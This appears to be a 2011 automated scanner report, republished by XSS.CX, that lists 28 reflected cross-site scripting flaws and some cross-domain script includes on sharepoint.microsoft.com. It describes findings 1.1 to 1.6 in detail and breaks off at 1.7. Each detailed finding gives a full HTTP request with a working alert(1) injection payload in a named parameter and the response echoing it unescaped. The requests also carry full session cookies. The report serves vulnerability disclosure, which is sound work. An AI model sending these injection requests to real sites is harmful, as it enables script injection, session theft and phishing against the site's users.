XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, Arbitrary + Rev Parameter, sharepoint.microsoft.com

(ATM) At-the-Margin Report for CWE-79 Fingerprints | No Risk Identified | Publishing Preview for MSRC

Report generated by XSS.CX at Fri Aug 05 13:04:55 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

1.1. http://sharepoint.microsoft.com/ScriptResource.axd [name of an arbitrarily supplied request parameter]

1.2. http://sharepoint.microsoft.com/ScriptResource.axd [t parameter]

1.3. http://sharepoint.microsoft.com/WebResource.axd [name of an arbitrarily supplied request parameter]

1.4. http://sharepoint.microsoft.com/WebResource.axd [t parameter]

1.5. http://sharepoint.microsoft.com/_layouts/1033/core.js [name of an arbitrarily supplied request parameter]

1.6. http://sharepoint.microsoft.com/_layouts/1033/core.js [rev parameter]

1.7. http://sharepoint.microsoft.com/_layouts/1033/init.js [name of an arbitrarily supplied request parameter]

1.8. http://sharepoint.microsoft.com/_layouts/1033/init.js [rev parameter]

1.9. http://sharepoint.microsoft.com/_layouts/ScriptResx.ashx [name of an arbitrarily supplied request parameter]

1.10. http://sharepoint.microsoft.com/_layouts/ScriptResx.ashx [rev parameter]

1.11. http://sharepoint.microsoft.com/_layouts/blank.js [name of an arbitrarily supplied request parameter]

1.12. http://sharepoint.microsoft.com/_layouts/blank.js [rev parameter]

1.13. http://sharepoint.microsoft.com/_layouts/cui.js [name of an arbitrarily supplied request parameter]

1.14. http://sharepoint.microsoft.com/_layouts/cui.js [rev parameter]

1.15. http://sharepoint.microsoft.com/_layouts/inplview.js [name of an arbitrarily supplied request parameter]

1.16. http://sharepoint.microsoft.com/_layouts/inplview.js [rev parameter]

1.17. http://sharepoint.microsoft.com/_layouts/mediaplayer.js [name of an arbitrarily supplied request parameter]

1.18. http://sharepoint.microsoft.com/_layouts/mediaplayer.js [rev parameter]

1.19. http://sharepoint.microsoft.com/_layouts/sp.core.js [name of an arbitrarily supplied request parameter]

1.20. http://sharepoint.microsoft.com/_layouts/sp.core.js [rev parameter]

1.21. http://sharepoint.microsoft.com/_layouts/sp.js [name of an arbitrarily supplied request parameter]

1.22. http://sharepoint.microsoft.com/_layouts/sp.js [rev parameter]

1.23. http://sharepoint.microsoft.com/_layouts/sp.ribbon.js [name of an arbitrarily supplied request parameter]

1.24. http://sharepoint.microsoft.com/_layouts/sp.ribbon.js [rev parameter]

1.25. http://sharepoint.microsoft.com/_layouts/sp.runtime.js [name of an arbitrarily supplied request parameter]

1.26. http://sharepoint.microsoft.com/_layouts/sp.runtime.js [rev parameter]

1.27. http://sharepoint.microsoft.com/_layouts/sp.ui.dialog.js [name of an arbitrarily supplied request parameter]

1.28. http://sharepoint.microsoft.com/_layouts/sp.ui.dialog.js [rev parameter]

2. Cross-domain script include

2.1. http://sharepoint.microsoft.com/businessproductivity/en-us/GetStarted/Pages/how-to-buy.aspx

2.2. http://sharepoint.microsoft.com/businessproductivity/en-us/GetStarted/Pages/where-to-begin.aspx

2.3. http://sharepoint.microsoft.com/businessproductivity/en-us/solutions/Pages/productivity-platform.aspx

2.4. http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx



1. Cross-site scripting (reflected)  next
There are 28 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://sharepoint.microsoft.com/ScriptResource.axd [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /ScriptResource.axd

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc6ab'-alert(1)-'b98324afb87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ScriptResource.axd?d=UeSdpXH5xa9ZIvLjPIuIEbiagmkNWBOlzOGH-YBHy5QVnh_OteDkpqSVIen9ZZ0chXeeQLILpN2CEQ1NHqSBGhsOkRZL4olhbt9ywp82pyYbz8lIjz3jY1rT7HPPCN40eb1vMWYw94EAPq5LT0vGExGfwKE1&t=5c2f384e&bc6ab'-alert(1)-'b98324afb87=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 99826
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:33 GMT
Last-Modified: Tue, 02 Aug 2011 16:53:33 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:32 GMT

var waxMagic=function(){
if(typeof($create)=='undefined')$create=undefined;if(typeof($addHandler)=='undefined')$addHandler=undefined;if(typeof($addHandlers)=='undefined')$addHandlers=undefined;if(typ
...[SNIP]...
I||WAX_RI('/ScriptResource.axd?d=UeSdpXH5xa9ZIvLjPIuIEbiagmkNWBOlzOGH-YBHy5QVnh_OteDkpqSVIen9ZZ0chXeeQLILpN2CEQ1NHqSBGhsOkRZL4olhbt9ywp82pyYbz8lIjz3jY1rT7HPPCN40eb1vMWYw94EAPq5LT0vGExGfwKE1&t=5c2f384e&bc6ab'-alert(1)-'b98324afb87=1',waxMagic))waxMagic();

1.2. http://sharepoint.microsoft.com/ScriptResource.axd [t parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /ScriptResource.axd

Issue detail

The value of the t request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74a7f'-alert(1)-'1ca200cf3ce was submitted in the t parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ScriptResource.axd?d=UeSdpXH5xa9ZIvLjPIuIEbiagmkNWBOlzOGH-YBHy5QVnh_OteDkpqSVIen9ZZ0chXeeQLILpN2CEQ1NHqSBGhsOkRZL4olhbt9ywp82pyYbz8lIjz3jY1rT7HPPCN40eb1vMWYw94EAPq5LT0vGExGfwKE1&t=5c2f384e74a7f'-alert(1)-'1ca200cf3ce HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 99823
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:27 GMT
Last-Modified: Tue, 02 Aug 2011 16:53:27 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:27 GMT

var waxMagic=function(){
if(typeof($create)=='undefined')$create=undefined;if(typeof($addHandler)=='undefined')$addHandler=undefined;if(typeof($addHandlers)=='undefined')$addHandlers=undefined;if(typ
...[SNIP]...
RI||WAX_RI('/ScriptResource.axd?d=UeSdpXH5xa9ZIvLjPIuIEbiagmkNWBOlzOGH-YBHy5QVnh_OteDkpqSVIen9ZZ0chXeeQLILpN2CEQ1NHqSBGhsOkRZL4olhbt9ywp82pyYbz8lIjz3jY1rT7HPPCN40eb1vMWYw94EAPq5LT0vGExGfwKE1&t=5c2f384e74a7f'-alert(1)-'1ca200cf3ce',waxMagic))waxMagic();

1.3. http://sharepoint.microsoft.com/WebResource.axd [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /WebResource.axd

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7b13'-alert(1)-'9c4f81ae0fd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /WebResource.axd?d=z4mda6JtsFk178Yw9bfD-Cpu48_Hhkc3uyIxpe9qpQ4KxKLHBReFvc7EG_cDXIEi4W9_oDLWck4vuZRysRmvvZTh6341&t=634226773767692906&e7b13'-alert(1)-'9c4f81ae0fd=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15626
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:31 GMT
Last-Modified: Fri, 15 Oct 2010 01:22:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:31 GMT

var waxMagic=function(){
if(typeof(__pendingCallbacks)=='undefined')__pendingCallbacks=undefined;if(typeof(__synchronousCallBackIndex)=='undefined')__synchronousCallBackIndex=undefined;if(typeof(__no
...[SNIP]...
y=new Array();


};
if(!window.WAX_RI||WAX_RI('/WebResource.axd?d=z4mda6JtsFk178Yw9bfD-Cpu48_Hhkc3uyIxpe9qpQ4KxKLHBReFvc7EG_cDXIEi4W9_oDLWck4vuZRysRmvvZTh6341&t=634226773767692906&e7b13'-alert(1)-'9c4f81ae0fd=1',waxMagic))waxMagic();

1.4. http://sharepoint.microsoft.com/WebResource.axd [t parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /WebResource.axd

Issue detail

The value of the t request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c7715'-alert(1)-'8d28fe874dd was submitted in the t parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /WebResource.axd?d=z4mda6JtsFk178Yw9bfD-Cpu48_Hhkc3uyIxpe9qpQ4KxKLHBReFvc7EG_cDXIEi4W9_oDLWck4vuZRysRmvvZTh6341&t=634226773767692906c7715'-alert(1)-'8d28fe874dd HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15623
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:27 GMT
Last-Modified: Fri, 15 Oct 2010 01:22:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:26 GMT

var waxMagic=function(){
if(typeof(__pendingCallbacks)=='undefined')__pendingCallbacks=undefined;if(typeof(__synchronousCallBackIndex)=='undefined')__synchronousCallBackIndex=undefined;if(typeof(__no
...[SNIP]...
ay=new Array();


};
if(!window.WAX_RI||WAX_RI('/WebResource.axd?d=z4mda6JtsFk178Yw9bfD-Cpu48_Hhkc3uyIxpe9qpQ4KxKLHBReFvc7EG_cDXIEi4W9_oDLWck4vuZRysRmvvZTh6341&t=634226773767692906c7715'-alert(1)-'8d28fe874dd',waxMagic))waxMagic();

1.5. http://sharepoint.microsoft.com/_layouts/1033/core.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/1033/core.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac719'-alert(1)-'21b79887488 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/1033/core.js?rev=c3ROI4x%2BKHVTMbn4JuFndQ%3D%3D&ac719'-alert(1)-'21b79887488=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293159931:ss=1312293130321; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 255474
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:02 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:54:02 GMT

var waxMagic=function(){
if(typeof(IsMenuShown)=='undefined')IsMenuShown=undefined;if(typeof(ChevronContainer)=='undefined')ChevronContainer=undefined;if(typeof(itemTableDeferred)=='undefined')itemTa
...[SNIP]...
typeof NotifyScriptLoadedAndExecuteWaitingJobs=="function"&&NotifyScriptLoadedAndExecuteWaitingJobs("core.js")
};
if(!window.WAX_RI||WAX_RI('/_layouts/1033/core.js?rev=c3ROI4x%2BKHVTMbn4JuFndQ%3D%3D&ac719'-alert(1)-'21b79887488=1',waxMagic))waxMagic();

1.6. http://sharepoint.microsoft.com/_layouts/1033/core.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/1033/core.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e40ca'-alert(1)-'cd85ae552c2 was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/1033/core.js?rev=c3ROI4x%2BKHVTMbn4JuFndQ%3D%3De40ca'-alert(1)-'cd85ae552c2 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293159931:ss=1312293130321; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 255471
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:56 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:55 GMT

var waxMagic=function(){
if(typeof(IsMenuShown)=='undefined')IsMenuShown=undefined;if(typeof(ChevronContainer)=='undefined')ChevronContainer=undefined;if(typeof(itemTableDeferred)=='undefined')itemTa
...[SNIP]...
;typeof NotifyScriptLoadedAndExecuteWaitingJobs=="function"&&NotifyScriptLoadedAndExecuteWaitingJobs("core.js")
};
if(!window.WAX_RI||WAX_RI('/_layouts/1033/core.js?rev=c3ROI4x%2BKHVTMbn4JuFndQ%3D%3De40ca'-alert(1)-'cd85ae552c2',waxMagic))waxMagic();

1.7. http://sharepoint.microsoft.com/_layouts/1033/init.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/1033/init.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a80c6'-alert(1)-'9e6f3b4a90e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

